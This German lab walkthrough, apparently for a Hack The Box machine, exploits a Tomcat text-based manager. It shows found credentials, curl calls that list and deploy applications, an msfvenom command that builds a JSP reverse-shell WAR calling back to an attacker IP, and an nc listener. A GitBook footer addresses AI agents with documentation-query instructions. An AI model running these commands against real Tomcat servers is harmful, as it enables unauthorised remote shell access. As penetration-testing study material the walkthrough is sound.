> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat Text Manager

### **Ausnutzung des Tomcat Text Managers**

**Anmeldedaten** gefunden :

`Benutzername = tomcat`

`Passwort = $3cureP4s5w0rd123!`

<figure><img src="/files/e0d1a0a0a6fa2e9c6ebca1dbeac35f0085de4562" alt=""><figcaption></figcaption></figure>

**Zugriffsversuch** zu `/manager/html` gibt einen 403-Fehler zurück.<br>

<figure><img src="/files/5e78ddab23af7c59274bd003b43e7d5766043633" alt=""><figcaption></figcaption></figure>

1. **Alternative über `/host-manager/html`**, aber es kann keine Anwendung aus einer `.war` vorhandenen Benutzern.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/391d591ae15917e99c086b03511ec5282c3745fb" alt=""><figcaption></figcaption></figure>

**Anwendungen über die Befehlszeile auflisten:**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/32f5ee2f089923182349f9ff0ae540a586868b10" alt=""><figcaption></figcaption></figure>

**Erstelle eine Reverse-Shell-WAR-Datei** durch `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/d69a9524e0614a2db35e955e0e9ad9a8ec61cb15" alt="" width="563"><figcaption></figcaption></figure>

**Bereitstellen der WAR-Datei** mit curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/75eb138639a18a85c7e4d53cc54714ea0b80ccbd" alt=""><figcaption></figcaption></figure>

**Auf die Reverse-Shell-Verbindung lauschen**

```bash
nc -nlvp 443 
```

**Zugriff auf die Reverse Shell** über `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/a28c0c84772a3cd949ad702f16463a2ff65862ee" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/878678614ed3779c2209cd12eaf8da1e5575a172" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
